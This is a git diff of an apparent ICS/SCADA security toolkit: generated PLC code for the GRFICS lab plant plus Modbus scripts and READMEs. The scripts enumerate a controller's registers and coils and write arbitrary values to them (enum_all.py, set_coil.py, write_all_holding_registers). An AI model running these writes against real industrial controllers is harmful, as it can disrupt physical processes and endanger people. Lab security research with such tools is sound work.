__DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print 'Could not read configuration file. Please check file path and/or file.' + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import ConfigParser + Config = ConfigParser.SafeConfigParser() + ## read the config file + Config.read(data.inifilename) + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + ## use ini file capabilities + import ConfigParser + Config = ConfigParser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = 